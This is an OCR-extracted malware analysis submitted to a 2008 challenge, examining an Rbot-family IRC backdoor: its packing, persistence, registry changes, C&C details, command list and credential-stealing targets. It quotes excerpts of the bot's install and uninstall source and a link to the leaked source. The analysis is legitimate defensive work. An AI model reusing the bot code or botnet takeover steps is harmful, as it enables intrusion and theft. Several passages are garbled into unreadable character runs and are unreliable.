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1. Describe your malware lab.

My personal malware lab is a Virtual PC' virtual machine running Windows XP SP2. Installed within the
virtual machine are various tools- of which | used: OIIdebz, PEiD3, and IDA Pro”.

The malware lab has a variety of fake internet services running to simulate resources which malware
may expect. This includes a web server, ftp server, irc server, dns server,

The Virtual PC analysis environment is not connected to the internet or LAN. A snapshot containing a
clean environment is created and restored after each analysis. As an added security measure, a packet
sniffer runs on the host machine anytime an analysis is in session to ensure that there is no egress
traffic.

Services

Primary Firewall

Fake internet service

Dual-homed (dns, ftp, http, dns, etc)
Network

Sniffer & IDS

Network Data Analysis Service

; : Live Analysis
Investigation Simulation y

! Microsoft VirtualPC - http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx
2 OllyDbg - http://www.ollydbg.de/

® PEID - http://peid.has.it/

* IDA Pro - http://www.hex-rays.com/idapro/
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2. What information can you gather about the malware without executing it?

Not very much can be found without executing or unpacking the sample. Interesting facts include:

Section names: ABCO, ABC1, ABC2

PE Timestamp: 2006-09-16 18:13:46 (0x450C3EDA)
Machine Type: i386 (0x14C)

PEiD Sig: None (Deep scan: UPX)

Size of Image: 0x0007C000

Entry point: 0x0007AE20

| can submit the file to an analysis service such as Anubis® in order to determine its behavior without
executing it myself, but | would imagine this to be cheating, so I shall refrain and do the analysis myself.

| can also tell that the file is malware because many anti-virus vendors detect it (scanned on Oct 2™

2008)
 Microsoft Backdoor:Win32/Rbot.gen
I Kaspersky Backdoor.Win32.Rbot.bzf
9 BitDefender Generic.Sdbot.8CA4036D
1 McAfee W32/Sdbot.worm
 Symantec W32.Spybot.Worm

Source: VirusTotal® (http://www.virustotal.com/analisis/c1368c4900f29ced4d6ecfa30aa10303)

File malware.exe received on 10.09.2008 08:49:17 (CET)
Result: 32/36 (88.89%)

> Anubis: Analyzing Unknown Binaries - http://anubis.iseclab.org/index.php

® Virustotal is a service that analyzes suspicious files and facilitates the quick detection of all kinds of malware

detected by antivirus engines - http://www.virustotal.com
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3. Is the malware packed? If so, how did you determine what it was?

In a word: yes. Several things lead me to believe that the sample is packed:

T

Section names ABCO, ABC1, ABC2

Very unusual for an unpacked binary

Import/export table is very short (0 exports / 2 imports: KERNEL32.dll, WS2_32.dll.)

Typical of packed files

No real strings

Very unusual- implies high degree of entropy

PE Header timestamp 0x450C3EDA (2006-09-16 18:13:46)

At first | thought the timestamp was falsified, but in retrospect it may be accurate after all. Tl am
led to this conclusion by the fact that this is a very old sample, and source code | found (see
guestion #9) is dated at around the same time.

The decryption stub resembles UPX’S | Y R I LJd O A6 Q WNRIESBusds if carreds: K I {
GUPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo§¢ @

7 UPX: Ultimate Packer for eXecutables - http://upx.sourceforge.net/
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4. Describe the malware's behavior. What files does it drop? What registry
Keys does it create and/or modify? What network connections does it
create? How does it auto-start, etc?

The malware auto-starts by writing three registry run keys. It drops sever infrastructural files in order to
properly install itself (a batch file and a registry file). All the behavior is described below:

File writes
I  Writes itself as "winsec32.exe" into the windows directory (%windir%)
9 Drops and runs a batch file to write to auto-start registry key

File executes
1  wdzy%windir%\winsec32.exe¢
A wdzya qwhiehodzyGQEEGEDIT /S %temp%\1.regé)

Network connections
9 Connects to: testircl.shlxy2bg.NET:6667
0 Joins: #chalenge (password: happy12)
I Observed link to more malware:
hxxp://www.Nivdav.net/Winsec32.exe
0 Did not observe this URL being downloaded
0 The URLis no longer valid
9 As with other bots of this type, code exists to download arbitrary files via tftp and http if
instructed.

Autostart
1 Sample writes: "Microsoft Svchost local services" = "winsec32.exe"
to: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
9 Sample writes: "Microsoft Svchost local services" = "winsec32.exe"
to: HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
9 Sample writes: "Microsoft Svchost local services" = "winsec32.exe"
to: HKCU\Software\Microsoft\OLE

Registry keys
9 Upon initial execution, a file called c:\a.bat is created containing a batch file which creates a .reg
file written to %temp%. The batch file then passes 1.reg® to regedit (thus causing registry
changes listed below), then deletes 1.reg, and lastly it deletes itself.

START /WAIT REGEDIT /S %temp%\1.reg
DEL %tempY%\1.reg
DEL %0,

® See appendix 1 for a full list of registry changes made by 1.reg
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5. What type of command and control server does the malware use? Describe
the server and interface this malware uses as well as the domains and URLs
accessed by the malware.

IRC is used for command & control.

Server: testircl.shixy2bg.NET:6667
Channel: #chalenge (password: happy12)

The C&C domain (shlxy2bg.net) is not registered, nor has it ever been registered. If this were real
malware, a whois against the domain name may have revealed clues about the identities of those
behind the sample. The same technique can be applied to the IP address which the domain name would
have resolved to.

Bots are instructed to update themselves from the following URL by default:
hxxp://www.Nivdav.net/Winsec32.exe
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6. What commands are present within the malware and what do they do? If
possible, take control of the malware and run some of these commands,
documenting how you did it.

First of all, doing this is illegal in most countries, so | will not actually perform this on the internet. | have

FylFtel SR GKS FAtS K26SOSNI YR Y O2y FTARIBofder GKFG
to test my hypothesis, | created an IRC server on my analysis machine with the address
WGSéGANﬁM@éKMEéHOH@YSGQ FYR £SG GKS YIFf gl NB al YLX

In order to take control of the bot (or botnet), the owner must meet two authentication requirements:

1. Controller must have hostname *@legalize.it
2. Controller must know the password (gemp123)

The controller must also know the commands which the bot accepts. In many cases, these are

customized before compilingthe malware-2 NJ Ay OF aSa 2F wadz2fSyQ al YL Sa?
hex editor. It is extremely important for analysts to verify that the commands do what the name implies

before testing them out, as intentional transposition of command names has been observed numerous

times in the past (for example, a command called .remove may actually format the machine instead of

remove the bot).
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7. How would you classify this malware? Why?

I would classify this as a backdoor, specifically an variant of the Backdoor:Win32/Rbot family. The

miscreant behind this sample may have hoped thatthey' I YS WwSI f Yo 23 Q 62dZ R 6S | (
K2 Y2RAFASR (GKS 2NRIAYIf Nb2G az2d2NOS Yl & KIFI@S K2
| 26 SOSNE L R2y QiU fA1S SyO2dzNI IAYy A Y kahdbésitel thib dzi K2 N&
AAaYQUAIIY YIS AGQa 2dzad | Y2RAFASR OSNEAZ2Y 2F woz2(»

Backdoor:Win32/Rbot

Despite the fact that it also is capable of DDoS, keylogging, creating servers, probing servers, and so
forth- | would classify it as a backdoor because it enables access to the victim machine. All additional
functionality must be enabled by the controller (not enabled by default) however, it is a backdoor from
the moment that it is executed.
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8. What do you think the purpose of this malware is?

This is a difficult question to answer, because it is relatively general purpose piece of malware.

The bot contains code to sniff for and report credentials from browser windows with the following
strings in their title:

i PayPal

StormPay

WorldPay

Terra - Fotolog

Bienvenido a Gmail
Welcome to Gmail

Domain Name Registration

=4 =4 =4 4 -4 -4

My Account Login
I Mercadolivre Brasil

Stealing credentials from the explicitly targeted site above is likely i K S YINE & Afdidtidn thiS 6t

Oy LISNF2NXO | 25SHSNE RISdikpdsdible Withgltoritdidg thideldaibl J2 3 S Q ¢
of the controller. Botnets of this nature can be rented out in order to install spyware with an affiliate

program to raise revenue or to send spam.
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9. Is it possible to find the malware's source code? If so, how did you do it?
G¢K2a8 GKFG dzyRSNBRGFIYR lFaadSvyote {y2¢ GKIG FEf az‘¥

Finding the original source code for this sort of malware first NS | dzZA N & GKIF G 6S ARSYGA T
name of the sample. The reason for this is because bots of this nature are usually created by modifying

(and combing) code found on the internet. The authors will give these hybrid bots new names, which

FNBE 2FGSy YIRS Lzt AOte | @ Af |l 0.5cSmykugssidthatdfvd y | G GSY
canARSYGATFe GKS ylYS IAGSYy (G2 GKS o020 o0& GKS Yz2ad |
for a copy of the source code.

Searching the sample for the name given by an author, or other clues about the original source of the
sample reveals several leads:

9 Crxbot Alias REalmbot -by Lindem-

T RealmBoT (irc.p.l.g)

T http://www.W32-gen.us (-National Virus Site-)
1 http://www.Nivdav.net/Winsec32.exe

Searching for these names on the web reveals that Crxbot was once a real and active threat. Many links
no longer work, and as such must be viewed via the Google cache, or archive.org.

Further research that the bot evolved along these lines:
Rbot -> crxbot -> realmbot

The Rbot source code is widely distributed, but is not close enough to this variant to be accepted as

wS I £ Y. 2 i 6instedd @iNGIS my search on crxbot. Realmbot is the name given to the

& YLX S o6& GKS YA&AONBlIyild (GKIG A& RA&ZGNAOGdziAy3 ONEDG
more than configure and rename a crxbot).

Searching the web for crxbot reveals two distinct variants:

1. Crxbot
2. Crxbot with vnc exploit and RFI

Sources to both variants were found on the web. | was able to determine that the sample under
investigation contained VNC scanning and exploitation code (simply by looking at a list of strings and
matching them to strings in the source), and thus was able to determine that the source code to this bot
matches that downloaded from the following URL:

http://darksun.ws/download/Bots/Crx-realmbot.VNC.exploit.and.RFI-(rfi.not.tested).rar

| have included a sample source listing in Appendix 3 with brief commentary as further evidence.

°31337:Ha01 SNJ 21 NH2Yy F2NJ aSt AGS¢
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10. How would you write a custom detection and removal tool to determine
if the malware is present on the system and remove it?

This sample is not polymorphic and installs itself in the same place every time. There are many obvious
ways to statically detect just this one threat:

Detection:
9 Search running processes for one called winsec32.exe

I Search %windir% for winsec32.exe

9 Search aforementioned run keys for winsec32.exe

9 Search for files with MD5 31d2ec3b312d0fd27940aae5c89e3787

9 Search for files communicating with host testircl.shl1xy2bg.NET:6667
Removal:

I Terminate process
9 Remove run keys from registry

/ KIyasSa YIRS G2 GKS NBIAaAaGNR o0& MONB3IA OFyyz2id 0SS dz
infection is available. However, most of the changes seem benign.

Advanced Removal:
Controversial techniques exist which would enable an investigator to shut the entire botnet down. This
is not suggested, but | will document anyway for bonus points (this is a bonus question, after all!)

It is best to first take control of the C&C server, either by working with the admins if a legitimate server
is used, or by having the domain registrar transfer ownership to the investigation team (this typically
only applies to law enforcement).

9 Join the C&C channel
9 Authenticate to the botnet (by spoofing your hostname and providing the password)
1 Issue kill command
0 GNXé 2N& aNBY20S
0 Although it may appear that the bot has been modified not to actually remove infected
hosts ("[REALMBOT] : Goodbye idiot and nice try"...), a closer examination of the source
code reveals that it actually does.

else if (strcmp(“"remove", a[s]) == 0 | | stremp("rm", a[s]) == 0) {
if (!silent) irc_privmsg(sock, a[2], "[REALMBOT] : Goodbye idiot and nice try.",
notice);
#ifdef DEBUG_LOGGING
closedebuglog();
#endif
fclosesocket(sock);
fWSACleanup();

11| TJS- MalwareChallenge2008



Malware Challenge 2008 Tareq Saade (taregsaade@hotmail.com)
http://www.malwarechallenge.info http://blogs.technet.com/mmpc

uninstall(); *°
ExitProcess(EXIT_SUCCESS);

An alternate strategy is to use any of the existing backdoor functionality to remove the bot. Suggestions
include writing a custom cleaning script that can be downloaded and executed, or issuing the commands
manually over a remote shell connection to the compromise hosts one by one. As previously mentioned,
the cleaning logic will need to involve the removal of auto-starting registry keys, termination of the
current process and removal of the malicious file. Care must be taken not to terminate the process until
after the cleaning has been completed. A batch file will likely be necessary to properly terminate the
process and remove residual files.

1% 5ee Appendix 5 for the source listing to the uninstall() function.

12| TJS- MalwareChallenge2008



Malware Challenge 2008 Tareq Saade (taregsaade@hotmail.com)
http://www.malwarechallenge.info http://blogs.technet.com/mmpc

Appendix

Appendix 1: Registry changes made by 1.reg

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"TransportBindName"=""

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
"Start"=dword:00000004

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
"Start"=dword:00000004

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]
"Start"=dword:00000004

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
"EnableDCOM"="N"
"EnableRemoteConnect"="N"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]
"Enabled"=hex:00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareWks"=dword:00000000
"AutoShareServer"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"NameServer"=""
"ForwardBroadcasts"=dword:00000000
"IPEnableRouter"=dword:00000000
"Domain"=""

"SearchList"=""
"UseDomainNameDevolution"=dword:00000001
"EnablelCMPRedirect"=dword:00000000
"DeadGWDetectDefault"=dword:00000001
"DontAddDefaultGatewayDefault"=dword:00000000
"EnableSecurityFilters"=dword:00000001
"AllowUnqualifiedQuery"=dword:00000000
"PrioritizeRecordData"=dword:00000001
"TCP13200pts"=dword:00000003
"KeepAliveTime"=dword:00023280
"BcastQueryTimeout"=dword:000002ee
"BcastNameQueryCount"=dword:00000001
"CacheTimeout"=dword:0000ea60
"Size/Small/Medium/Large"=dword:00000003
"LargeBufferSize"=dword:00001000
"SynAckProtect"=dword:00000002
"PerformRouterDiscovery"=dword:00000000
"EnablePMTUBHDetect"=dword:00000000
"FastSendDatagramThreshold "=dword:00000400
"StandardAddressLength "=dword:00000018
"DefaultReceiveWindow "=dword:00004000
"DefaultSendWindow"=dword:00004000
"BufferMultiplier"=dword:00000200
"PriorityBoost"=dword:00000002
"IrpStackSize"=dword:00000004
"lgnorePushBitOnReceives"=dword:00000000
"DisableAddressSharing"=dword:00000000
"AllowUserRawAccess"=dword:00000000
"DisableRawSecurity"=dword:00000000
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"DynamicBacklogGrowthDelta"=dword:00000032
"FastCopyReceiveThreshold"=dword:00000400
"LargeBufferListDepth"=dword:0000000a
"MaxActiveTransmitFileCount"=dword:00000002
"MaxFastTransmit"=dword:00000040
"OverheadChargeGranularity"=dword:00000001
"SmallBufferListDepth"=dword:00000020
"SmallerBufferSize"=dword:00000080
"TransmitWorker"=dword:00000020

"DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,00,30,00,00,00,00,00

"DefaultRegistrationTTL"=dword:00000014
"DisableReplaceAddressesinConflicts"=dword:00000000
"DisableReverseAddressRegistrations"=dword:00000001
"UpdateSecurityLevel "=dword:00000000
"DisjointNameSpace"=dword:00000001
"QuerylpMatching"=dword:00000000
"NoNameReleaseOnDemand"=dword:00000001
"EnableDeadGWDetect"=dword:00000000
"EnableFastRouteLookup"=dword:00000001
"MaxFreeTcbs"=dword:000007d0
"MaxHashTableSize"=dword:00000800
"SackOpts"=dword:00000001
"Tcp13230pts"=dword:00000003
"TcpMaxDupAcks"=dword:00000001
"TcpRecvSegmentSize"=dword:00000585
"TcpSendSegmentSize"=dword:00000585
"TcpWindowSize"=dword:0007d200

"Default TTL"=dword:00000030
"TcpMaxHalfOpen"=dword:0000004b
"TcpMaxHalfOpenRetried"=dword:00000050
"TcpTimedWaitDelay"=dword:00000000
"MaxNormLookupMemory"=dword:00030d40
"FFPControlFlags"=dword:00000001
"FFPFastForwardingCacheSize"=dword:00030d40
"MaxForwardBufferMemory"=dword:00019df7
"MaxFreeTWTcbs"=dword:000007d0
"GlobalMaxTcpWindowsSize"=dword:0007d200
"EnablePMTUDiscovery"=dword:00000001
"ForwardBufferMemory"=dword:00019df7

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPer1_0Server"=dword:00000050
"MaxConnectionsPerServer"=dword:00000050

Appendix 2: Full list of supported commands

Command ' Description

login authentication (login password)

Rndnick Set a random nick

die Disconnect bot from C&C

logout Log controller out

versionship Returns bot version information

chghttp Change hardcoded url/binary to download
secure Prevent core changes to the bot

lockdown.off

Disables 'secure' mode

visit

Open a url
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web.off
ftpd.off
log.off

proxy.redirect.off

ddos.off
syn.off
udp.off
ping.off
proc.off
clone.off
clone
secure.stop
scanstop
stats
reconnect
disconnect
quit

status

id

reboot
threads
aliases

log
clearlog
netinfo / ni
sypersyn
sysinfo / sys
remove
proc.on
uptime
driveinfo
testdlls
opencmd
closecmd
irc.who
getclip
flusharp
flushdns
currnetip
httpd.on

com.ps.off

st

irc.r
irc.d
irc.q
irc.s

irc.i

threads.|
irc.al
irc.lg

clg
ni

sys
rm
com.ps

com.drv
com.dll
cmdl

com.gc
farp
util.fdns
cip
web.on

Disable httpd
Disable ftpd
Disable logging

Disable TCP redirector
Disable all DDoS attacks
Disable SYN flood
Disable UDP flood
Disable ping flood

List processes (?)

kills clone

creates a clone of self

Tareq Saade (taregsaade@hotmail.com)
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Terminates thread processes

disable scan for vulnerable hosts

return system stats (uptime, mem usage, cpu info, etc)

reconnect to previously connected esrver

disconnect from server
quit from irc server
return status & uptime

Returns bot id

reboot victim machine

List threads

List / create new alias

Enable logging

Clears log (if enabled)

Return network information

super syn ddos attack

Return system information

Uninstalls itself

Ensure that bot is running

Return system uptime

Returns information about disk drives

Test a variety of DLLs by trying to dynamically load them

start remote shell
stop remote shell

return list of users logged into the bot

Return clipboard data
Flush ARP tables
Flush DNS Cache
Return current IP
Enable webserver
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ftpd.on
irc.nick

join

part

raw
killthreads
clone.quit
clone.rndnick
prefix

open
setserver
dns
killprocess
prockillid
delete

list
mirc.cmd
readfile
keylog.on
gethost
addalias
privmsg
action
cycle

mode
rawclone
clone.mode
clone.nick
clone.join
clone.part
irc.repeat
delay
update
execute
rename
clone.make
synflood
ddos.ack
ddos.random
download

d.ftp.on
irc.n
irc.j
irc.pt
irc.ra
killt
clone.q
clone.rn
irc.pr
com.o
irc.se
irc.dn
kpc
pkid

del
com.fl

com.rf
cmd.kl.on
irc.gh
irc.aa
irc.om
irc.ac
irc.cy
irc.m
clone.ra
clone.m
clone.ni
clone.j
clone.p
irc.rp
irc.de

com.e

com.mv

clone.start

dl
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Enable ftp server

Set arbitrary nickname

Join arbitrary channel

Part arbitrary channel

Issue irc command by raw numeric

Kill arbitrary thread

Quit cloned instances

Create cloned instance with random nick
Change nick prefix

Open file

Change default irc server

Perform DNS lookup on arbitrary host/ip
Kill process by name

Kill process by ID

Delete file

List files in directory

Send mIRC client commands (if open)
Read arbitrary file

Enable keylogger

Return hostname

Add IRC alias

Send a message

Perform an action (/me)

Part and rejoin a channel

Set IRC modes

Perform command by RAW numeric on clone
Set modes on clone

Set arbitrary nick on clone

Join clone to an arbitrary channel

Part clone from an arbitrary channel
Repeat last instruction/message

Wait arbitrary amount of time
Download and execute file from url
Execute command on remote machine
Rename file on remote machine
Create a cloned instance

Perform SYN flood (for n seconds)
Perform ACK flood (for n seconds)
Perform random DoS (for n seconds)
Download file from URL
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redirect daemon.rd Start TCP Redirector (proxy server)

clone.privmsg clone.pm Send message from clone

clone.action clone.ac Perform action by clone

advscan asc Scan a range of IP for specific open ports

udpflood ddos.udpf, u Perform UDP flood (for n seconds)

pingflood ddos.pingf, p Perform ping flood (for n seconds)

httpcon util.hcon Silently connect to a webserver

ftp.upload use 'ftp.exe' to upload files

Appendix 3: Sample source code listing (Crxbot.cpp)

lf 6K2dAK G(KS ONEo20G O2RSo0l &S A& ljdAdGS I aBESS GKAA
This file in conjunction with base.cpp really do make up a large portion of the entire functional

codebase. It is immediately obvious that this is the right code, as all version responses match, and

virtually all commands and aliases have notbeenmoRA FASR a4 A& 2 F@BNI RKS Ol &8
malware.

LYy NBO@ASgAY3dT (GKS a2dz2NOS> Ad gl a Ot SIEN GKFG GKS 02
elegantly written and better commented than others. A good example that demonstrates this

observation is the cryptographic code in base.cpp. It is sophisticated and highly commented, whereas

the majority of the code is simplistic and contains very few comments.

#include "headers/includes.h"
#include "headers/functions.h"
#include "Hook/config/cfg.h"
#include "headers/passwd.h"
#include "headers/globals.h"
#tinclude "headers/externs.h"

int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPrevinstance, LPSTR IpCmdLine, int nCmdShow)
{
char
logbuf[LOGLINE],fname[_MAX_FNAME],ext[ _MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH],windir[MAX_PATH];

inti=0, err=0;
DWORD id=0;
BOOL bkpserver = FALSE;

#ifndef NO_EHANDLER
DWORD handler = (DWORD)_except_handler;
_asm
{
push handler
push FS:[0]
mov  FS:[0],ESP
}
if (sp2_mod) {
sp2mod();
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#endif

// record start time

started = GetTickCount() / 1000;
// re-seed random numbers
srand(GetTickCount());

#ifdef DEBUG_LOGGING
opendebuglog();
#endif

#ifndef NO_CRYPT // Don't decrypt password here
decryptstrings((sizeof((char *)authost) / sizeof(LPTSTR)), (sizeof((char *)bversion) / sizeof(LPTSTR)));
#endif

LoadDLLs(); // load all the dlIs and functions here

// hide system messages if bot crashes
fSetErrorMode(SEM_NOGPFAULTERRORBOX);

// check if this exe is running already
if (WaitForSingleObject(CreateMutex(NULL, FALSE, botid), 30000) == WAIT_TIMEOUT)
ExitProcess(EXIT_FAILURE);

WSADATA WSAdata;

if ((err = fWSAStartup(MAKEWORD(2, 2), &WSAdata)) !=0)
return O;

if (LOBYTE(WSAdata.wVersion) != 2 | | HIBYTE(WSAdata.wVersion) =2 ) {
fWSACleanup();
return O;

}

GetWindowsDirectory(windir, sizeof(windir));
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
_splitpath(cfilename, NULL, NULL, fname, ext);

_snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext);

if (strstr(cfilename, windir) == NULL) {
char tmpfilename[MAX_PATH];
if (rndfilename) {
for (i=0;(unsigned int)i < (strlen(filename) - 4);i++)
filenamel[i] = (char)((rand() % 26) + 97);
}

sprintf(tmpfilename, "%s\\%s", windir, filename);

if (GetFileAttributes(tmpfilename) != INVALID_FILE_ATTRIBUTES)
SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_NORMAL);

// loop only once to make sure the file is copied.

BOOL bFileCheck=FALSE;

while (CopyFile(cfilename, tmpfilename, FALSE) == FALSE) {
DWORD result = GetLastError();

if (bFileCheck && (result == ERROR_SHARING_VIOLATION | | result == ERROR_ACCESS_DENIED)) {
bFileCheck=TRUE; // check to see if its already running! then try 1 last time.
Sleep(15000);

} else
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break; // just continue, it's not worth retrying.
}
SetFileTime(tmpfilename);
SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM |
FILE_ATTRIBUTE_READONLY);

PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;

memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));

sinfo.lpTitle ="";

sinfo.cb = sizeof(sinfo);

sinfo.dwFlags = STARTF_USESHOWWINDOW;

char cmdline[MAX_PATH];
HANDLE hProcessOrig = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessld());
sprintf(cmdline,"%s %d \"%s\"",tmpfilename, hProcessOrig, cfilename);

if (CreateProcess(tmpfilename, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS |
DETACHED_PROCESS, NULL, windir, &sinfo, &pinfo)) {

Sleep(200);

CloseHandle(pinfo.hProcess);

CloseHandle(pinfo.hThread);

fWSACleanup();

ExitProcess(EXIT_SUCCESS);

if ((AutoStart) && !(noadvapi32))
AutoStartRegs(rfilename);

sprintf(logbuf,"RealmBoT (irc.p.l.g) .»». Bot started.");
addthread(logbuf, MAIN_THREAD,NULL);
addlog(logbuf);

// remove the following line if you don't want any predefined aliases
memset(aliases, 0, sizeof(aliases));
addpredefinedaliases();

Appendix 4: Sample source code listing (base.cpp)

#include "headers/includes.h"
#include "headers/functions.h"
#include "headers/externs.h"

char *Uptime(int startup)

{
static char buffer[50];

DWORD total = GetTickCount() / 1000 - startup;
DWORD days = total / 86400;

DWORD hours = (total % 86400) / 3600;

DWORD minutes = ((total % 86400) % 3600) / 60;
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_snprintf(buffer, sizeof(buffer), "%dd %dh %dm", days, hours, minutes);

return (buffer);

}
int OSVersionCheck(void)
{
DWORD dwRet = 0S_UNKNOWN;
OSVERSIONINFO verinfo;
verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&verinfo)) {
if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
if (verinfo.dwPlatformld == VER_PLATFORM_WIN32_WINDOWS) dwRet = OS_WIN95;
if (verinfo.dwPlatformld == VER_PLATFORM_WIN32_NT) dwRet = OS_WINNT;
}
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) dwRet = OS_WIN9S;
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) dwRet = OS_WINME;
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) dwRet = OS_WIN2K;
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) dwRet = OS_WINXP;
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) dwRet = OS_WIN2K3;
else dwRet = OS_UNKNOWN;
}else
dwRet = OS_UNKNOWN;
return (dwRet);
}

Appendix 5: Sample source code listing (function uninstall())

void uninstall(void)

{
char buffer[1024], cmdline[MAX_PATH], botfile[MAX_PATH], batfile[MAX_PATH];

if ((AutoStart) && !(noadvapi32))
AutoStartRegs();

killthreadall();

GetTempPath(sizeof(buffer), buffer);
sprintf(batfile, "%sdel.bat", buffer);
HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (f > (HANDLE)O) {
DWORD r;

sprintf(buffer," @echo off\r\n"
":repeat\r\n"
"del \"%%1\"\r\n"
"if exist \"%%1\" goto repeat\r\n"
"del \"%s\"", batfile);
WriteFile(f, buffer, strlen(buffer), &r, NULL);
CloseHandle(f);

PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;

memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));

sinfo.lpTitle ="";

sinfo.cb = sizeof(sinfo);

sinfo.dwFlags = STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
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GetModuleFileName(GetModuleHandle(NULL), botfile, sizeof(botfile));
if (GetFileAttributes(botfile) I= INVALID_FILE_ATTRIBUTES)
SetFileAttributes(botfile,FILE_ATTRIBUTE_NORMAL);
sprintf(buffer, "%%comspec%% /c %s %s", batfile, botfile);
ExpandEnvironmentStrings(buffer, cmdline, sizeof(cmdline));

CreateProcess(NULL, cmdline, NULL, NULL, TRUE, BELOW_NORMAL_PRIORITY_CLASS | DETACHED_PROCESS,
NULL, NULL, &sinfo, &pinfo);
}

return;
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